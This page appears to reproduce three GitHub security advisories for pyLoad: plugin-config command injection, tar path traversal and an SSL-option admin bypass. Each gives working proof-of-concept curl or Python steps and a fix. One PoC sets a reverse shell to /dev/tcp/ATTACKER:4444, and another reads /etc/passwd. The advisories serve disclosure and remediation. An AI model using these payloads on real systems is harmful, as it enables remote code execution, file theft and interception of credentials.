Where
AND
-Infinity
0
Severity
8.8
OS Command Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

The ADMINONLYOPTIONS protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is only applied to core config options, not to plugin config options. The AntiVirus plugin stores an executable path (avfile) in its config, which is passed directly to subprocess.Popen(). A non-admin user with SETTINGS permission can change this path to achieve remote code execution.

Details

Safe wrapper — ADMINONLYOPTIONS (core/api/init.py:225-235):

python ADMINONLYOPTIONS = { "reconnect.script", # Blocks script path change "webui.host", # Blocks bind address change "ssl.certfile", # Blocks cert path change "ssl.keyfile", # Blocks key path change # ... other sensitive options }

Where it IS enforced — core config (core/api/init.py:255):

python def setconfigvalue(self, section, option, value): if f"{section}.{option}" in ADMINONLYOPTIONS: if not self.user.isadmin: raise PermissionError("Admin only") # ...

Where it is NOT enforced — plugin config (core/api/init.py:271-272):

python # Plugin config - NO admin check at all self.pyload.config.setplugin(category, option, value)

Dangerous sink — AntiVirus plugin (plugins/addons/AntiVirus.py:75):

python def scanfile(self, file): avfile = self.config.get("avfile") # User-controlled via plugin config avargs = self.config.get("avargs") subprocess.Popen([avfile, avargs, target]) # RCE

PoC

bash As non-admin user with SETTINGS permission:

1. Set AntiVirus executable to a reverse shell curl -b sessioncookie -X POST http://TARGET:8000/api/setconfigvalue \ -d 'section=plugin' \ -d 'option=AntiVirus.avfile' \ -d 'value=/bin/bash'

curl -b sessioncookie -X POST http://TARGET:8000/api/setconfigvalue \ -d 'section=plugin' \ -d 'option=AntiVirus.avargs' \ -d 'value=-c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'

2. Enable the AntiVirus plugin curl -b sessioncookie -X POST http://TARGET:8000/api/setconfigvalue \ -d 'section=plugin' \ -d 'option=AntiVirus.activated' \ -d 'value=True'

3. Add a download - when it completes, AntiVirus.scanfile() runs the payload curl -b sessioncookie -X POST http://TARGET:8000/api/addpackage \ -d 'name=test' \ -d 'links=http://example.com/test.zip'

Result: reverse shell as the pyload process user

Additional Finding: Arbitrary File Read via storagefolder

The storagefolder validation at core/api/init.py:238-246 uses inverted logic — it prevents the new value from being INSIDE protected directories, but not from being an ANCESTOR of everything. Setting storagefolder=/ combined with GET /files/get/etc/passwd gives arbitrary file read to non-admin users with SETTINGS+DOWNLOAD permissions.

Impact

- Remote Code Execution — Non-admin user can execute arbitrary commands via AntiVirus plugin config - Privilege escalation — SETTINGS permission (non-admin) escalates to full system access - Arbitrary file read — Via storagefolder manipulation

Remediation

Apply ADMINONLYOPTIONS to plugin config as well:

python In setconfigvalue(): ADMINONLYPLUGINOPTIONS = { "AntiVirus.avfile", "AntiVirus.avargs", # ... any plugin option that controls executables or paths }

if section == "plugin" and option in ADMINONLYPLUGINOPTIONS: if not self.user.isadmin: raise PermissionError("Admin only")

Or better: validate that avfile points to a known AV binary before passing to subprocess.Popen().

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Path Traversal
AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N

Summary

The safeextractall() function in src/pyload/plugins/extractors/UnTar.py uses os.path.commonprefix() for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function os.path.commonpath() was added to the codebase in the GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) but was never applied to safeextractall(), making this an incomplete fix.

Details

The GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) added a correct iswithindirectory() function to src/pyload/core/utils/fs.py:384-391 using os.path.commonpath():

python fs.py:384 — CORRECT implementation def iswithindirectory(basedir, targetdir): realbase = os.path.realpath(basedir) realtarget = os.path.realpath(targetdir) return os.path.commonpath([realbase, realtarget]) == realbase

However, the safeextractall() function in UnTar.py:10-22 was left unchanged with the broken os.path.commonprefix():

python UnTar.py:10-22 — VULNERABLE implementation def safeextractall(tar, path=".", members=None, , numericowner=False): def iswithindirectory(directory, target): absdirectory = os.path.abspath(directory) abstarget = os.path.abspath(target) prefix = os.path.commonprefix([absdirectory, abstarget]) # BUG: line 14 return prefix == absdirectory

for member in tar.getmembers(): memberpath = os.path.join(path, member.name) if not iswithindirectory(path, memberpath): raise ArchiveError("Attempted Path Traversal in Tar File (CVE-2007-4559)")

tar.extractall(path, members, numericowner=numericowner)

os.path.commonprefix() is a string operation, not a path operation. For extraction destination /downloads/pkg and a malicious member ../pkgevil/payload (resolving to /downloads/pkgevil/payload):

- commonprefix(['/downloads/pkg', '/downloads/pkgevil/payload']) → '/downloads/pkg' — equals the directory, check passes - commonpath(['/downloads/pkg', '/downloads/pkgevil/payload']) → '/downloads' — does NOT equal the directory, check correctly fails

The extraction path is reached via: ExtractArchive.packagefinished() (line 182) → extractqueued() → UnTar.extract() (line 76) → safeextractall(t, self.dest) (line 81).

PoC

Self-contained proof of concept demonstrating the bypass:

python import tarfile, io, os, shutil

dest = '/tmp/testextractiondir' shutil.rmtree(dest, ignoreerrors=True) shutil.rmtree('/tmp/testextractiondirpwned', ignoreerrors=True) os.makedirs(dest, existok=True)

Step 1: Create malicious tar with member that escapes via prefix trick with tarfile.open('/tmp/evil.tar.gz', 'w:gz') as tar: info = tarfile.TarInfo(name='../testextractiondirpwned/evil.txt') data = b'escaped the sandbox!' info.size = len(data) tar.addfile(info, io.BytesIO(data))

Step 2: Reproduce the vulnerable check from UnTar.py:11-15 def iswithindirectory(directory, target): absdirectory = os.path.abspath(directory) abstarget = os.path.abspath(target) prefix = os.path.commonprefix([absdirectory, abstarget]) return prefix == absdirectory

Step 3: Verify the check is bypassed with tarfile.open('/tmp/evil.tar.gz') as tar: for member in tar.getmembers(): memberpath = os.path.join(dest, member.name) bypassed = iswithindirectory(dest, memberpath) print(f'Member: {member.name}') print(f'Resolved: {os.path.abspath(memberpath)}') print(f'Check passes (should be False): {bypassed}') tar.extractall(dest)

Step 4: Confirm file was written outside extraction directory escapedfile = '/tmp/testextractiondirpwned/evil.txt' assert os.path.exists(escapedfile), "File did not escape" print(f'File escaped to: {escapedfile}') print(f'Content: {open(escapedfile).read()}')

Output: Member: ../testextractiondirpwned/evil.txt Resolved: /tmp/testextractiondirpwned/evil.txt Check passes (should be False): True File escaped to: /tmp/testextractiondirpwned/evil.txt Content: escaped the sandbox!

Impact

An attacker who hosts a malicious .tar.gz archive on a file hosting service can write files to arbitrary sibling directories of the extraction path when a pyLoad user downloads and extracts the archive. This enables:

- Writing files outside the intended extraction directory into adjacent directories - Overwriting other users' downloads - Planting malicious files in predictable locations on disk - If combined with other primitives (e.g., writing a .bashrc, cron job, or plugin file), this could lead to code execution

The attack requires the victim to download a malicious archive (either manually or via the pyLoad API with ADD permission) and have the ExtractArchive addon enabled.

Recommended Fix

Replace the broken inline iswithindirectory with the correct iswithindirectory from pyload.core.utils.fs:

python import os import sys import tarfile

from pyload.core.utils.fs import iswithindirectory, safejoin from pyload.plugins.base.extractor import ArchiveError, BaseExtractor, CRCError

Fix for tarfile CVE-2007-4559 def safeextractall(tar, path=".", members=None, , numericowner=False): for member in tar.getmembers(): memberpath = os.path.join(path, member.name) if not iswithindirectory(path, memberpath): raise ArchiveError("Attempted Path Traversal in Tar File (CVE-2007-4559)")

tar.extractall(path, members, numericowner=numericowner)

This removes the broken inline function and uses the already-existing correct implementation that was added in the GHSA-7g4m-8hx2-4qh3 fix.

1 / 2
Source: GitHub
First published (updated )
Severity
6.8
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

Summary

The ADMINONLYCOREOPTIONS authorization set in setconfigvalue() uses incorrect option names sslcert and sslkey, while the actual configuration option names are sslcertfile and sslkeyfile. This name mismatch causes the admin-only check to always evaluate to False, allowing any user with SETTINGS permission to overwrite the SSL certificate and key file paths. Additionally, the sslcertchain option was never added to the admin-only set at all.

Details

The vulnerability is in src/pyload/core/api/init.py. The ADMINONLYCOREOPTIONS set is defined at lines 237-248:

python ADMINONLYCOREOPTIONS = { ("general", "storagefolder"), ("log", "sysloghost"), ("log", "syslogport"), ("proxy", "password"), ("proxy", "username"), ("reconnect", "script"), ("webui", "host"), ("webui", "sslcert"), # BUG: should be "sslcertfile" ("webui", "sslkey"), # BUG: should be "sslkeyfile" ("webui", "usessl"), } NOTE: ("webui", "sslcertchain") is entirely missing

The actual config option names are defined in src/pyload/core/config/default.cfg:39-41:

file sslcertfile : "SSL Certificate" = ssl.crt file sslkeyfile : "SSL Key" = ssl.key file sslcertchain : "CA's intermediate certificate bundle (optional)" =

The authorization check at line 267 compares the incoming (category, option) tuple against this set:

python if (category, option) in ADMINONLYCOREOPTIONS and not isadmin: self.pyload.log.error(...) return

When a request arrives with option=sslcertfile, the check evaluates ("webui", "sslcertfile") in ADMINONLYCOREOPTIONS which is False because the set contains ("webui", "sslcert"), not ("webui", "sslcertfile"). The admin-only guard is bypassed and config.set() at line 271 proceeds to write the attacker-supplied value.

The value is cast as a file type in parser.py:300-305, which resolves it via os.path.realpath() but performs no further validation:

python elif typ in ("file", "folder"): return ( "" if value in (None, "") else os.path.realpath(os.path.expanduser(os.fsdecode(value))) )

On server restart with SSL enabled, the webserver loads the attacker-controlled paths (webserverthread.py:22-23,51-52):

python self.certfile = self.pyload.config.get("webui", "sslcertfile") self.keyfile = self.pyload.config.get("webui", "sslkeyfile") ... self.server.ssladapter = BuiltinSSLAdapter( self.certfile, self.keyfile, self.certchain )

PoC

Prerequisites: A pyLoad instance with SSL enabled and a non-admin user account that has SETTINGS permission.

Step 1: Authenticate as the non-admin user to get a session cookie: bash curl -c cookies.txt -X POST 'http://localhost:8000/login' \ -d 'username=settingsuser&password=password123'

Step 2: Set the SSL certificate to an attacker-controlled file path: bash curl -b cookies.txt -X POST 'http://localhost:8000/json/saveconfig' \ -H 'Content-Type: application/json' \ -d '{"category": "core", "config": {"webui|sslcertfile": "/tmp/attacker.crt"}}' Expected response: true (config saved successfully)

Step 3: Set the SSL key to an attacker-controlled file path: bash curl -b cookies.txt -X POST 'http://localhost:8000/json/saveconfig' \ -H 'Content-Type: application/json' \ -d '{"category": "core", "config": {"webui|sslkeyfile": "/tmp/attacker.key"}}' Expected response: true (config saved successfully)

Step 4: Set the SSL certificate chain (never protected): bash curl -b cookies.txt -X POST 'http://localhost:8000/json/saveconfig' \ -H 'Content-Type: application/json' \ -d '{"category": "core", "config": {"webui|sslcertchain": "/tmp/attacker-chain.crt"}}' Expected response: true (config saved successfully)

Step 5: After the server restarts, it will load the attacker's certificate and key for all HTTPS connections.

Impact

A non-admin user with SETTINGS permission can replace the SSL certificate and key used by the pyLoad HTTPS server. When the server restarts (or is restarted by an admin), it will serve HTTPS using the attacker's certificate/key pair. This enables:

- Man-in-the-Middle attacks: The attacker, possessing the private key for the now-active certificate, can intercept and decrypt all HTTPS traffic to the pyLoad instance, including admin credentials and session tokens. - Credential theft: All users (including admins) connecting over HTTPS will have their credentials exposed to the attacker. - Configuration tampering: With intercepted admin credentials, the attacker can escalate to full admin access.

The attack requires SSL to already be enabled by an admin (the usessl option is correctly protected), the attacker to place certificate/key files on the filesystem (potentially achievable via pyLoad's download functionality), and a server restart.

Recommended Fix

Fix the option names in ADMINONLYCOREOPTIONS and add the missing sslcertchain option in src/pyload/core/api/init.py:

python ADMINONLYCOREOPTIONS = { ("general", "storagefolder"), ("log", "sysloghost"), ("log", "syslogport"), ("proxy", "password"), ("proxy", "username"), ("reconnect", "script"), ("webui", "host"), ("webui", "sslcertfile"), # Fixed: was "sslcert" ("webui", "sslkeyfile"), # Fixed: was "sslkey" ("webui", "sslcertchain"), # Added: was missing entirely ("webui", "usessl"), }

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203